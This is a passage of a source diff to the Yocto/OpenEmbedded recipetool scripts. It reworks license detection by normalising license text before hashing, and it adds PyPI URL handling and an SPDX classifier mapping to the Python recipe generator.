+ # https://raw.githubusercontent.com/request/request/v2.87.0/LICENSE
+ crunched_md5sums['1034431802e57486b393d00c5d262b8a'] = 'Apache-2.0'
+ # https://raw.githubusercontent.com/dchest/tweetnacl-js/v0.14.5/LICENSE
+ crunched_md5sums['75605e6bdd564791ab698fca65c94a4f'] = 'Unlicense'
+ # https://raw.githubusercontent.com/stackgl/gl-mat3/v2.0.0/LICENSE.md
+ crunched_md5sums['75512892d6f59dddb6d1c7e191957e9c'] = 'Zlib'
+
+ commonlicdir = d.getVar('COMMON_LICENSE_DIR')
+ for fn in sorted(os.listdir(commonlicdir)):
+ md5value, lictext = crunch_license(os.path.join(commonlicdir, fn))
+ if md5value not in crunched_md5sums:
+ crunched_md5sums[md5value] = fn
+ elif fn != crunched_md5sums[md5value]:
+ bb.debug(2, "crunched_md5sums['%s'] is already set to '%s' rather than '%s'" % (md5value, crunched_md5sums[md5value], fn))
+ else:
+ bb.debug(2, "crunched_md5sums['%s'] is already set to '%s'" % (md5value, crunched_md5sums[md5value]))
+
+ return crunched_md5sums
+
+def crunch_license(licfile):
+ '''
+ Remove non-material text from a license file and then calculate its
+ md5sum. This works well for licenses that contain a copyright statement,
+ but is also a useful way to handle people's insistence upon reformatting
+ the license text slightly (with no material difference to the text of the
+ license).
+ '''
+
+ import oe.utils
+
+ # Note: these are carefully constructed!
+ license_title_re = re.compile(r'^#*\(? *(This is )?([Tt]he )?.{0,15} ?[Ll]icen[sc]e( \(.{1,10}\))?\)?[:\.]? ?#*$')
+ license_statement_re = re.compile(r'^((This (project|software)|.{1,10}) is( free software)? (released|licen[sc]ed)|(Released|Licen[cs]ed)) under the .{1,10} [Ll]icen[sc]e:?$')
+ copyright_re = re.compile(r'^ *[#\*]* *(Modified work |MIT LICENSED )?Copyright ?(\([cC]\))? .*$')
+ disclaimer_re = re.compile(r'^ *\*? ?All [Rr]ights [Rr]eserved\.$')
+ email_re = re.compile(r'^.*<[\w\.-]*@[\w\.\-]*>$')
+ header_re = re.compile(r'^(\/\**!?)? ?[\-=\*]* ?(\*\/)?$')
+ tag_re = re.compile(r'^ *@?\(?([Ll]icense|MIT)\)?$')
+ url_re = re.compile(r'^ *[#\*]* *https?:\/\/[\w\.\/\-]+$')
+
lictext = []
with open(licfile, 'r', errors='surrogateescape') as f:
for line in f:
# Drop opening statements
if copyright_re.match(line):
continue
+ elif disclaimer_re.match(line):
+ continue
+ elif email_re.match(line):
+ continue
+ elif header_re.match(line):
+ continue
+ elif tag_re.match(line):
+ continue
+ elif url_re.match(line):
+ continue
elif license_title_re.match(line):
continue
elif license_statement_re.match(line):
continue
- # Squash spaces, and replace smart quotes, double quotes
- # and backticks with single quotes
+ # Strip comment symbols
+ line = line.replace('*', '') \
+ .replace('#', '')
+ # Unify spelling
+ line = line.replace('sub-license', 'sublicense')
+ # Squash spaces
line = oe.utils.squashspaces(line.strip())
+ # Replace smart quotes, double quotes and backticks with single quotes
line = line.replace(u"\u2018", "'").replace(u"\u2019", "'").replace(u"\u201c","'").replace(u"\u201d", "'").replace('"', '\'').replace('`', '\'')
+ # Unify brackets
+ line = line.replace("{", "[").replace("}", "]")
if line:
lictext.append(line)
@@ -1124,31 +1214,40 @@ def crunch_license(licfile):
except UnicodeEncodeError:
md5val = None
lictext = ''
- license = crunched_md5sums.get(md5val, None)
- return license, md5val, lictext
+ return md5val, lictext
def guess_license(srctree, d):
import bb
md5sums = get_license_md5sums(d)
+ crunched_md5sums = crunch_known_licenses(d)
+
licenses = []
licspecs = ['*LICEN[CS]E*', 'COPYING*', '*[Ll]icense*', 'LEGAL*', '[Ll]egal*', '*GPL*', 'README.lic*', 'COPYRIGHT*', '[Cc]opyright*', 'e[dp]l-v10']
+ skip_extensions = (".html", ".js", ".json", ".svg", ".ts", ".go")
licfiles = []
for root, dirs, files in os.walk(srctree):
for fn in files:
+ if fn.endswith(skip_extensions):
+ continue
for spec in licspecs:
if fnmatch.fnmatch(fn, spec):
fullpath = os.path.join(root, fn)
if not fullpath in licfiles:
licfiles.append(fullpath)
- for licfile in licfiles:
+ for licfile in sorted(licfiles):
md5value = bb.utils.md5_file(licfile)
license = md5sums.get(md5value, None)
if not license:
- license, crunched_md5, lictext = crunch_license(licfile)
- if not license:
+ crunched_md5, lictext = crunch_license(licfile)
+ license = crunched_md5sums.get(crunched_md5, None)
+ if lictext and not license:
license = 'Unknown'
- licenses.append((license, os.path.relpath(licfile, srctree), md5value))
+ logger.info("Please add the following line for '%s' to a 'lib/recipetool/licenses.csv' " \
+ "and replace `Unknown` with the license:\n" \
+ "%s,Unknown" % (os.path.relpath(licfile, srctree), md5value))
+ if license:
+ licenses.append((license, os.path.relpath(licfile, srctree), md5value))
# FIXME should we grab at least one source file with a license header and add that too?
@@ -1162,6 +1261,7 @@ def split_pkg_licenses(licvalues, packages, outlines, fallback_licenses=None, pn
"""
pkglicenses = {pn: []}
for license, licpath, _ in licvalues:
+ license = fixup_license(license)
for pkgname, pkgpath in packages.items():
if licpath.startswith(pkgpath + '/'):
if pkgname in pkglicenses:
@@ -1174,11 +1274,14 @@ def split_pkg_licenses(licvalues, packages, outlines, fallback_licenses=None, pn
pkglicenses[pn].append(license)
outlicenses = {}
for pkgname in packages:
- license = ' '.join(list(set(pkglicenses.get(pkgname, ['Unknown'])))) or 'Unknown'
- if license == 'Unknown' and pkgname in fallback_licenses:
+ # Assume AND operator between license files
+ license = ' & '.join(list(set(pkglicenses.get(pkgname, ['Unknown'])))) or 'Unknown'
+ if license == 'Unknown' and fallback_licenses and pkgname in fallback_licenses:
license = fallback_licenses[pkgname]
- outlines.append('LICENSE_%s = "%s"' % (pkgname, license))
- outlicenses[pkgname] = license.split()
+ licenses = tidy_licenses(license)
+ license = ' & '.join(licenses)
+ outlines.append('LICENSE:%s = "%s"' % (pkgname, license))
+ outlicenses[pkgname] = licenses
return outlicenses
def read_pkgconfig_provides(d):
@@ -1311,6 +1414,7 @@ def register_commands(subparsers):
parser_create.add_argument('-B', '--srcbranch', help='Branch in source repository if fetching from an SCM such as git (default master)')
parser_create.add_argument('--keep-temp', action="store_true", help='Keep temporary directory (for debugging)')
parser_create.add_argument('--npm-dev', action="store_true", help='For npm, also fetch devDependencies')
+ parser_create.add_argument('--no-pypi', action="store_true", help='Do not inherit pypi class')
parser_create.add_argument('--devtool', action="store_true", help=argparse.SUPPRESS)
parser_create.add_argument('--mirrors', action="store_true", help='Enable PREMIRRORS and MIRRORS for source tree fetching (disabled by default).')
parser_create.set_defaults(func=create_recipe)
diff --git a/scripts/lib/recipetool/create_buildsys.py b/scripts/lib/recipetool/create_buildsys.py
index 35a97c9345..ec9d510e23 100644
--- a/scripts/lib/recipetool/create_buildsys.py
+++ b/scripts/lib/recipetool/create_buildsys.py
@@ -5,9 +5,9 @@
# SPDX-License-Identifier: GPL-2.0-only
#
+import os
import re
import logging
-import glob
from recipetool.create import RecipeHandler, validate_pv
logger = logging.getLogger('recipetool')
@@ -137,15 +137,15 @@ class CmakeRecipeHandler(RecipeHandler):
deps = []
unmappedpkgs = []
- proj_re = re.compile('project\s*\(([^)]*)\)', re.IGNORECASE)
- pkgcm_re = re.compile('pkg_check_modules\s*\(\s*[a-zA-Z0-9-_]+\s*(REQUIRED)?\s+([^)\s]+)\s*\)', re.IGNORECASE)
- pkgsm_re = re.compile('pkg_search_module\s*\(\s*[a-zA-Z0-9-_]+\s*(REQUIRED)?((\s+[^)\s]+)+)\s*\)', re.IGNORECASE)
- findpackage_re = re.compile('find_package\s*\(\s*([a-zA-Z0-9-_]+)\s*.*', re.IGNORECASE)
- findlibrary_re = re.compile('find_library\s*\(\s*[a-zA-Z0-9-_]+\s*(NAMES\s+)?([a-zA-Z0-9-_ ]+)\s*.*')
- checklib_re = re.compile('check_library_exists\s*\(\s*([^\s)]+)\s*.*', re.IGNORECASE)
- include_re = re.compile('include\s*\(\s*([^)\s]*)\s*\)', re.IGNORECASE)
- subdir_re = re.compile('add_subdirectory\s*\(\s*([^)\s]*)\s*([^)\s]*)\s*\)', re.IGNORECASE)
- dep_re = re.compile('([^ ><=]+)( *[<>=]+ *[^ ><=]+)?')
+ proj_re = re.compile(r'project\s*\(([^)]*)\)', re.IGNORECASE)
+ pkgcm_re = re.compile(r'pkg_check_modules\s*\(\s*[a-zA-Z0-9-_]+\s*(REQUIRED)?\s+([^)\s]+)\s*\)', re.IGNORECASE)
+ pkgsm_re = re.compile(r'pkg_search_module\s*\(\s*[a-zA-Z0-9-_]+\s*(REQUIRED)?((\s+[^)\s]+)+)\s*\)', re.IGNORECASE)
+ findpackage_re = re.compile(r'find_package\s*\(\s*([a-zA-Z0-9-_]+)\s*.*', re.IGNORECASE)
+ findlibrary_re = re.compile(r'find_library\s*\(\s*[a-zA-Z0-9-_]+\s*(NAMES\s+)?([a-zA-Z0-9-_ ]+)\s*.*')
+ checklib_re = re.compile(r'check_library_exists\s*\(\s*([^\s)]+)\s*.*', re.IGNORECASE)
+ include_re = re.compile(r'include\s*\(\s*([^)\s]*)\s*\)', re.IGNORECASE)
+ subdir_re = re.compile(r'add_subdirectory\s*\(\s*([^)\s]*)\s*([^)\s]*)\s*\)', re.IGNORECASE)
+ dep_re = re.compile(r'([^ ><=]+)( *[<>=]+ *[^ ><=]+)?')
def find_cmake_package(pkg):
RecipeHandler.load_devel_filemap(tinfoil.config_data)
@@ -423,16 +423,16 @@ class AutotoolsRecipeHandler(RecipeHandler):
'makeinfo': 'texinfo',
}
- pkg_re = re.compile('PKG_CHECK_MODULES\(\s*\[?[a-zA-Z0-9_]*\]?,\s*\[?([^,\]]*)\]?[),].*')
- pkgce_re = re.compile('PKG_CHECK_EXISTS\(\s*\[?([^,\]]*)\]?[),].*')
- lib_re = re.compile('AC_CHECK_LIB\(\s*\[?([^,\]]*)\]?,.*')
- libx_re = re.compile('AX_CHECK_LIBRARY\(\s*\[?[^,\]]*\]?,\s*\[?([^,\]]*)\]?,\s*\[?([a-zA-Z0-9-]*)\]?,.*')
- progs_re = re.compile('_PROGS?\(\s*\[?[a-zA-Z0-9_]*\]?,\s*\[?([^,\]]*)\]?[),].*')
- dep_re = re.compile('([^ ><=]+)( [<>=]+ [^ ><=]+)?')
- ac_init_re = re.compile('AC_INIT\(\s*([^,]+),\s*([^,]+)[,)].*')
- am_init_re = re.compile('AM_INIT_AUTOMAKE\(\s*([^,]+),\s*([^,]+)[,)].*')
- define_re = re.compile('\s*(m4_)?define\(\s*([^,]+),\s*([^,]+)\)')
- version_re = re.compile('([0-9.]+)')
+ pkg_re = re.compile(r'PKG_CHECK_MODULES\(\s*\[?[a-zA-Z0-9_]*\]?,\s*\[?([^,\]]*)\]?[),].*')
+ pkgce_re = re.compile(r'PKG_CHECK_EXISTS\(\s*\[?([^,\]]*)\]?[),].*')
+ lib_re = re.compile(r'AC_CHECK_LIB\(\s*\[?([^,\]]*)\]?,.*')
+ libx_re = re.compile(r'AX_CHECK_LIBRARY\(\s*\[?[^,\]]*\]?,\s*\[?([^,\]]*)\]?,\s*\[?([a-zA-Z0-9-]*)\]?,.*')
+ progs_re = re.compile(r'_PROGS?\(\s*\[?[a-zA-Z0-9_]*\]?,\s*\[?([^,\]]*)\]?[),].*')
+ dep_re = re.compile(r'([^ ><=]+)( [<>=]+ [^ ><=]+)?')
+ ac_init_re = re.compile(r'AC_INIT\(\s*([^,]+),\s*([^,]+)[,)].*')
+ am_init_re = re.compile(r'AM_INIT_AUTOMAKE\(\s*([^,]+),\s*([^,]+)[,)].*')
+ define_re = re.compile(r'\s*(m4_)?define\(\s*([^,]+),\s*([^,]+)\)')
+ version_re = re.compile(r'([0-9.]+)')
defines = {}
def subst_defines(value):
@@ -545,7 +545,7 @@ class AutotoolsRecipeHandler(RecipeHandler):
deps.append('zlib')
elif keyword in ('AX_CHECK_OPENSSL', 'AX_LIB_CRYPTO'):
deps.append('openssl')
- elif keyword == 'AX_LIB_CURL':
+ elif keyword in ('AX_LIB_CURL', 'LIBCURL_CHECK_CONFIG'):
deps.append('curl')
elif keyword == 'AX_LIB_BEECRYPT':
deps.append('beecrypt')
@@ -624,6 +624,7 @@ class AutotoolsRecipeHandler(RecipeHandler):
'AX_CHECK_OPENSSL',
'AX_LIB_CRYPTO',
'AX_LIB_CURL',
+ 'LIBCURL_CHECK_CONFIG',
'AX_LIB_BEECRYPT',
'AX_LIB_EXPAT',
'AX_LIB_GCRYPT',
diff --git a/scripts/lib/recipetool/create_buildsys_python.py b/scripts/lib/recipetool/create_buildsys_python.py
index adfa377956..a807dafae5 100644
--- a/scripts/lib/recipetool/create_buildsys_python.py
+++ b/scripts/lib/recipetool/create_buildsys_python.py
@@ -8,9 +8,9 @@
import ast
import codecs
import collections
-import distutils.command.build_py
+import setuptools.command.build_py
import email
-import imp
+import importlib
import glob
import itertools
import logging
@@ -18,7 +18,11 @@ import os
import re
import sys
import subprocess
+import json
+import urllib.request
from recipetool.create import RecipeHandler
+from urllib.parse import urldefrag
+from recipetool.create import determine_from_url
logger = logging.getLogger('recipetool')
@@ -37,7 +41,334 @@ class PythonRecipeHandler(RecipeHandler):
assume_provided = ['builtins', 'os.path']
# Assumes that the host python3 builtin_module_names is sane for target too
assume_provided = assume_provided + list(sys.builtin_module_names)
+ excluded_fields = []
+
+ classifier_license_map = {
+ 'License :: OSI Approved :: Academic Free License (AFL)': 'AFL',
+ 'License :: OSI Approved :: Apache Software License': 'Apache',
+ 'License :: OSI Approved :: Apple Public Source License': 'APSL',
+ 'License :: OSI Approved :: Artistic License': 'Artistic',
+ 'License :: OSI Approved :: Attribution Assurance License': 'AAL',
+ 'License :: OSI Approved :: BSD License': 'BSD-3-Clause',
+ 'License :: OSI Approved :: Boost Software License 1.0 (BSL-1.0)': 'BSL-1.0',
+ 'License :: OSI Approved :: CEA CNRS Inria Logiciel Libre License, version 2.1 (CeCILL-2.1)': 'CECILL-2.1',
+ 'License :: OSI Approved :: Common Development and Distribution License 1.0 (CDDL-1.0)': 'CDDL-1.0',
+ 'License :: OSI Approved :: Common Public License': 'CPL',
+ 'License :: OSI Approved :: Eclipse Public License 1.0 (EPL-1.0)': 'EPL-1.0',
+ 'License :: OSI Approved :: Eclipse Public License 2.0 (EPL-2.0)': 'EPL-2.0',
+ 'License :: OSI Approved :: Eiffel Forum License': 'EFL',
+ 'License :: OSI Approved :: European Union Public Licence 1.0 (EUPL 1.0)': 'EUPL-1.0',
+ 'License :: OSI Approved :: European Union Public Licence 1.1 (EUPL 1.1)': 'EUPL-1.1',
+ 'License :: OSI Approved :: European Union Public Licence 1.2 (EUPL 1.2)': 'EUPL-1.2',
+ 'License :: OSI Approved :: GNU Affero General Public License v3': 'AGPL-3.0-only',
+ 'License :: OSI Approved :: GNU Affero General Public License v3 or later (AGPLv3+)': 'AGPL-3.0-or-later',
+ 'License :: OSI Approved :: GNU Free Documentation License (FDL)': 'GFDL',
+ 'License :: OSI Approved :: GNU General Public License (GPL)': 'GPL',
+ 'License :: OSI Approved :: GNU General Public License v2 (GPLv2)': 'GPL-2.0-only',
+ 'License :: OSI Approved :: GNU General Public License v2 or later (GPLv2+)': 'GPL-2.0-or-later',
+ 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)': 'GPL-3.0-only',
+ 'License :: OSI Approved :: GNU General Public License v3 or later (GPLv3+)': 'GPL-3.0-or-later',
+ 'License :: OSI Approved :: GNU Lesser General Public License v2 (LGPLv2)': 'LGPL-2.0-only',
+ 'License :: OSI Approved :: GNU Lesser General Public License v2 or later (LGPLv2+)': 'LGPL-2.0-or-later',
+ 'License :: OSI Approved :: GNU Lesser General Public License v3 (LGPLv3)': 'LGPL-3.0-only',
+ 'License :: OSI Approved :: GNU Lesser General Public License v3 or later (LGPLv3+)': 'LGPL-3.0-or-later',
+ 'License :: OSI Approved :: GNU Library or Lesser General Public License (LGPL)': 'LGPL',
+ 'License :: OSI Approved :: Historical Permission Notice and Disclaimer (HPND)': 'HPND',
+ 'License :: OSI Approved :: IBM Public License': 'IPL',
+ 'License :: OSI Approved :: ISC License (ISCL)': 'ISC',
+ 'License :: OSI Approved :: Intel Open Source License': 'Intel',
+ 'License :: OSI Approved :: Jabber Open Source License': 'Jabber',
+ 'License :: OSI Approved :: MIT License': 'MIT',
+ 'License :: OSI Approved :: MIT No Attribution License (MIT-0)': 'MIT-0',
+ 'License :: OSI Approved :: MITRE Collaborative Virtual Workspace License (CVW)': 'CVWL',
+ 'License :: OSI Approved :: MirOS License (MirOS)': 'MirOS',
+ 'License :: OSI Approved :: Motosoto License': 'Motosoto',
+ 'License :: OSI Approved :: Mozilla Public License 1.0 (MPL)': 'MPL-1.0',
+ 'License :: OSI Approved :: Mozilla Public License 1.1 (MPL 1.1)': 'MPL-1.1',
+ 'License :: OSI Approved :: Mozilla Public License 2.0 (MPL 2.0)': 'MPL-2.0',
+ 'License :: OSI Approved :: Nethack General Public License': 'NGPL',
+ 'License :: OSI Approved :: Nokia Open Source License': 'Nokia',
+ 'License :: OSI Approved :: Open Group Test Suite License': 'OGTSL',
+ 'License :: OSI Approved :: Open Software License 3.0 (OSL-3.0)': 'OSL-3.0',
+ 'License :: OSI Approved :: PostgreSQL License': 'PostgreSQL',
+ 'License :: OSI Approved :: Python License (CNRI Python License)': 'CNRI-Python',
+ 'License :: OSI Approved :: Python Software Foundation License': 'PSF-2.0',
+ 'License :: OSI Approved :: Qt Public License (QPL)': 'QPL',
+ 'License :: OSI Approved :: Ricoh Source Code Public License': 'RSCPL',
+ 'License :: OSI Approved :: SIL Open Font License 1.1 (OFL-1.1)': 'OFL-1.1',
+ 'License :: OSI Approved :: Sleepycat License': 'Sleepycat',
+ 'License :: OSI Approved :: Sun Industry Standards Source License (SISSL)': 'SISSL',
+ 'License :: OSI Approved :: Sun Public License': 'SPL',
+ 'License :: OSI Approved :: The Unlicense (Unlicense)': 'Unlicense',
+ 'License :: OSI Approved :: Universal Permissive License (UPL)': 'UPL-1.0',
+ 'License :: OSI Approved :: University of Illinois/NCSA Open Source License': 'NCSA',
+ 'License :: OSI Approved :: Vovida Software License 1.0': 'VSL-1.0',
+ 'License :: OSI Approved :: W3C License': 'W3C',
+ 'License :: OSI Approved :: X.Net License': 'Xnet',
+ 'License :: OSI Approved :: Zope Public License': 'ZPL',
+ 'License :: OSI Approved :: zlib/libpng License': 'Zlib',
+ 'License :: Other/Proprietary License': 'Proprietary',
+ 'License :: Public Domain': 'PD',
+ }
+
+ def __init__(self):
+ pass
+
+ def process_url(self, args, classes, handled, extravalues):
+ """
+ Convert any pypi url https://pypi.org/project/<package>/<version> into https://files.pythonhosted.org/packages/source/...
+ which corresponds to the archive location, and add pypi class
+ """
+
+ if 'url' in handled:
+ return None
+
+ fetch_uri = None
+ source = args.source
+ required_version = args.version if args.version else None
+ match = re.match(r'https?://pypi.org/project/([^/]+)(?:/([^/]+))?/?$', urldefrag(source)[0])
+ if match:
+ package = match.group(1)
+ version = match.group(2) if match.group(2) else required_version
+
+ json_url = f"https://pypi.org/pypi/%s/json" % package
+ response = urllib.request.urlopen(json_url)
+ if response.status == 200:
+ data = json.loads(response.read())
+ if not version:
+ # grab latest version
+ version = data["info"]["version"]
+ pypi_package = data["info"]["name"]
+ for release in reversed(data["releases"][version]):
+ if release["packagetype"] == "sdist":
+ fetch_uri = release["url"]
+ break
+ else:
+ logger.warning("Cannot handle pypi url %s: cannot fetch package information using %s", source, json_url)
+ return None
+ else:
+ match = re.match(r'^https?://files.pythonhosted.org/packages.*/(.*)-.*$', source)
+ if match:
+ fetch_uri = source
+ pypi_package = match.group(1)
+ _, version = determine_from_url(fetch_uri)
+
+ if match and not args.no_pypi:
+ if required_version and version != required_version:
+ raise Exception("Version specified using --version/-V (%s) and version specified in the url (%s) do not match" % (required_version, version))
+ # This is optionnal if BPN looks like "python-<pypi_package>" or "python3-<pypi_package>" (see pypi.bbclass)
+ # but at this point we cannot know because because user can specify the output name of the recipe on the command line
+ extravalues["PYPI_PACKAGE"] = pypi_package
+ # If the tarball extension is not 'tar.gz' (default value in pypi.bblcass) whe should set PYPI_PACKAGE_EXT in the recipe
+ pypi_package_ext = re.match(r'.*%s-%s\.(.*)$' % (pypi_package, version), fetch_uri)
+ if pypi_package_ext:
+ pypi_package_ext = pypi_package_ext.group(1)
+ if pypi_package_ext != "tar.gz":
+ extravalues["PYPI_PACKAGE_EXT"] = pypi_package_ext
+
+ # Pypi class will handle S and SRC_URI variables, so remove them
+ # TODO: allow oe.recipeutils.patch_recipe_lines() to accept regexp so we can simplify the following to:
+ # extravalues['SRC_URI(?:\[.*?\])?'] = None
+ extravalues['S'] = None
+ extravalues['SRC_URI'] = None
+
+ classes.append('pypi')
+
+ handled.append('url')
+ return fetch_uri
+
+ def handle_classifier_license(self, classifiers, existing_licenses=""):
+
+ licenses = []
+ for classifier in classifiers:
+ if classifier in self.classifier_license_map:
+ license = self.classifier_license_map[classifier]
+ if license == 'Apache' and 'Apache-2.0' in existing_licenses:
+ license = 'Apache-2.0'
+ elif license == 'GPL':
+ if 'GPL-2.0' in existing_licenses or 'GPLv2' in existing_licenses:
+ license = 'GPL-2.0'
+ elif 'GPL-3.0' in existing_licenses or 'GPLv3' in existing_licenses:
+ license = 'GPL-3.0'
+ elif license == 'LGPL':
+ if 'LGPL-2.1' in existing_licenses or 'LGPLv2.1' in existing_licenses:
+ license = 'LGPL-2.1'
+ elif 'LGPL-2.0' in existing_licenses or 'LGPLv2' in existing_licenses:
+ license = 'LGPL-2.0'
+ elif 'LGPL-3.0' in existing_licenses or 'LGPLv3' in existing_licenses:
+ license = 'LGPL-3.0'
+ licenses.append(license)
+
+ if licenses:
+ return ' & '.join(licenses)
+
+ return None
+
+ def map_info_to_bbvar(self, info, extravalues):
+
+ # Map PKG-INFO & setup.py fields to bitbake variables
+ for field, values in info.items():
+ if field in self.excluded_fields:
+ continue
+
+ if field not in self.bbvar_map:
+ continue
+
+ if isinstance(values, str):
+ value = values
+ else:
+ value = ' '.join(str(v) for v in values if v)
+
+ bbvar = self.bbvar_map[field]
+ if bbvar == "PN":
+ # by convention python recipes start with "python3-"
+ if not value.startswith('python'):
+ value = 'python3-' + value
+
+ if bbvar not in extravalues and value:
+ extravalues[bbvar] = value
+
+ def apply_info_replacements(self, info):
+ if not self.replacements:
+ return
+
+ for variable, search, replace in self.replacements:
+ if variable not in info:
+ continue
+
+ def replace_value(search, replace, value):
+ if replace is None:
+ if re.search(search, value):
+ return None
+ else:
+ new_value = re.sub(search, replace, value)
+ if value != new_value:
+ return new_value
+ return value
+
+ value = info[variable]
+ if isinstance(value, str):
+ new_value = replace_value(search, replace, value)
+ if new_value is None:
+ del info[variable]
+ elif new_value != value:
+ info[variable] = new_value
+ elif hasattr(value, 'items'):
+ for dkey, dvalue in list(value.items()):
+ new_list = []
+ for pos, a_value in enumerate(dvalue):
+ new_value = replace_value(search, replace, a_value)
+ if new_value is not None and new_value != value:
+ new_list.append(new_value)
+
+ if value != new_list:
+ value[dkey] = new_list
+ else:
+ new_list = []
+ for pos, a_value in enumerate(value):
+ new_value = replace_value(search, replace, a_value)
+ if new_value is not None and new_value != value:
+ new_list.append(new_value)
+
+ if value != new_list:
+ info[variable] = new_list
+
+
+ def scan_python_dependencies(self, paths):
+ deps = set()
+ try:
+ dep_output = self.run_command(['pythondeps', '-d'] + paths)
+ except (OSError, subprocess.CalledProcessError):
+ pass
+ else:
+ for line in dep_output.splitlines():
+ line = line.rstrip()
+ dep, filename = line.split('\t', 1)
+ if filename.endswith('/setup.py'):
+ continue
+ deps.add(dep)
+
+ try:
+ provides_output = self.run_command(['pythondeps', '-p'] + paths)
+ except (OSError, subprocess.CalledProcessError):
+ pass
+ else:
+ provides_lines = (l.rstrip() for l in provides_output.splitlines())
+ provides = set(l for l in provides_lines if l and l != 'setup')
+ deps -= provides
+
+ return deps
+
+ def parse_pkgdata_for_python_packages(self):
+ pkgdata_dir = tinfoil.config_data.getVar('PKGDATA_DIR')
+
+ ldata = tinfoil.config_data.createCopy()
+ bb.parse.handle('classes-recipe/python3-dir.bbclass', ldata, True)
+ python_sitedir = ldata.getVar('PYTHON_SITEPACKAGES_DIR')
+
+ dynload_dir = os.path.join(os.path.dirname(python_sitedir), 'lib-dynload')
+ python_dirs = [python_sitedir + os.sep,
+ os.path.join(os.path.dirname(python_sitedir), 'dist-packages') + os.sep,
+ os.path.dirname(python_sitedir) + os.sep]
+ packages = {}
+ for pkgdatafile in glob.glob('{}/runtime/*'.format(pkgdata_dir)):
+ files_info = None
+ with open(pkgdatafile, 'r') as f:
+ for line in f.readlines():
+ field, value = line.split(': ', 1)
+ if field.startswith('FILES_INFO'):
+ files_info = ast.literal_eval(value)
+ break
+ else:
+ continue
+
+ for fn in files_info:
+ for suffix in importlib.machinery.all_suffixes():
+ if fn.endswith(suffix):
+ break
+ else:
+ continue
+
+ if fn.startswith(dynload_dir + os.sep):
+ if '/.debug/' in fn:
+ continue
+ base = os.path.basename(fn)
+ provided = base.split('.', 1)[0]
+ packages[provided] = os.path.basename(pkgdatafile)
+ continue
+
+ for python_dir in python_dirs:
+ if fn.startswith(python_dir):
+ relpath = fn[len(python_dir):]
+ relstart, _, relremaining = relpath.partition(os.sep)
+ if relstart.endswith('.egg'):
+ relpath = relremaining
+ base, _ = os.path.splitext(relpath)
+
+ if '/.debug/' in base:
+ continue
+ if os.path.basename(base) == '__init__':
+ base = os.path.dirname(base)
+ base = base.replace(os.sep + os.sep, os.sep)
+ provided = base.replace(os.sep, '.')
+ packages[provided] = os.path.basename(pkgdatafile)
+ return packages
+
+ @classmethod
+ def run_command(cls, cmd, **popenargs):
+ if 'stderr' not in popenargs:
+ popenargs['stderr'] = subprocess.STDOUT
+ try:
+ return subprocess.check_output(cmd, **popenargs).decode('utf-8')
+ except OSError as exc:
+ logger.error('Unable to run `{}`: {}', ' '.join(cmd), exc)
+ raise
+ except subprocess.CalledProcessError as exc:
+ logger.error('Unable to run `{}`: {}', ' '.join(cmd), exc.output)
+ raise
+
+class PythonSetupPyRecipeHandler(PythonRecipeHandler):
bbvar_map = {
'Name': 'PN',
'Version': 'PV',
@@ -45,9 +376,9 @@ class PythonRecipeHandler(RecipeHandler):
'Summary': 'SUMMARY',
'Description': 'DESCRIPTION',
'License': 'LICENSE',
- 'Requires': 'RDEPENDS_${PN}',
- 'Provides': 'RPROVIDES_${PN}',
- 'Obsoletes': 'RREPLACES_${PN}',
+ 'Requires': 'RDEPENDS:${PN}',
+ 'Provides': 'RPROVIDES:${PN}',
+ 'Obsoletes': 'RREPLACES:${PN}',
}
# PN/PV are already set by recipetool core & desc can be extremely long
excluded_fields = [
@@ -75,6 +406,7 @@ class PythonRecipeHandler(RecipeHandler):
'Supported-Platform',
]
setuparg_multi_line_values = ['Description']
+
replacements = [
('License', r' +$', ''),
('License', r'^ +', ''),
@@ -95,71 +427,161 @@ class PythonRecipeHandler(RecipeHandler):
('Install-requires', r'\[[^\]]+\]$', ''),
]
- classifier_license_map = {
- 'License :: OSI Approved :: Academic Free License (AFL)': 'AFL',
- 'License :: OSI Approved :: Apache Software License': 'Apache',
- 'License :: OSI Approved :: Apple Public Source License': 'APSL',
- 'License :: OSI Approved :: Artistic License': 'Artistic',
- 'License :: OSI Approved :: Attribution Assurance License': 'AAL',
- 'License :: OSI Approved :: BSD License': 'BSD',
- 'License :: OSI Approved :: Common Public License': 'CPL',
- 'License :: OSI Approved :: Eiffel Forum License': 'EFL',
- 'License :: OSI Approved :: European Union Public Licence 1.0 (EUPL 1.0)': 'EUPL-1.0',
- 'License :: OSI Approved :: European Union Public Licence 1.1 (EUPL 1.1)': 'EUPL-1.1',
- 'License :: OSI Approved :: GNU Affero General Public License v3 or later (AGPLv3+)': 'AGPL-3.0+',
- 'License :: OSI Approved :: GNU Affero General Public License v3': 'AGPL-3.0',
- 'License :: OSI Approved :: GNU Free Documentation License (FDL)': 'GFDL',
- 'License :: OSI Approved :: GNU General Public License (GPL)': 'GPL',
- 'License :: OSI Approved :: GNU General Public License v2 (GPLv2)': 'GPL-2.0',
- 'License :: OSI Approved :: GNU General Public License v2 or later (GPLv2+)': 'GPL-2.0+',
- 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)': 'GPL-3.0',
- 'License :: OSI Approved :: GNU General Public License v3 or later (GPLv3+)': 'GPL-3.0+',
- 'License :: OSI Approved :: GNU Lesser General Public License v2 (LGPLv2)': 'LGPL-2.0',
- 'License :: OSI Approved :: GNU Lesser General Public License v2 or later (LGPLv2+)': 'LGPL-2.0+',
- 'License :: OSI Approved :: GNU Lesser General Public License v3 (LGPLv3)': 'LGPL-3.0',
- 'License :: OSI Approved :: GNU Lesser General Public License v3 or later (LGPLv3+)': 'LGPL-3.0+',
- 'License :: OSI Approved :: GNU Library or Lesser General Public License (LGPL)': 'LGPL',
- 'License :: OSI Approved :: IBM Public License': 'IPL',
- 'License :: OSI Approved :: ISC License (ISCL)': 'ISC',
- 'License :: OSI Approved :: Intel Open Source License': 'Intel',
- 'License :: OSI Approved :: Jabber Open Source License': 'Jabber',
- 'License :: OSI Approved :: MIT License': 'MIT',
- 'License :: OSI Approved :: MITRE Collaborative Virtual Workspace License (CVW)': 'CVWL',
- 'License :: OSI Approved :: Motosoto License': 'Motosoto',
- 'License :: OSI Approved :: Mozilla Public License 1.0 (MPL)': 'MPL-1.0',
- 'License :: OSI Approved :: Mozilla Public License 1.1 (MPL 1.1)': 'MPL-1.1',
- 'License :: OSI Approved :: Mozilla Public License 2.0 (MPL 2.0)': 'MPL-2.0',
- 'License :: OSI Approved :: Nethack General Public License': 'NGPL',
- 'License :: OSI Approved :: Nokia Open Source License': 'Nokia',
- 'License :: OSI Approved :: Open Group Test Suite License': 'OGTSL',
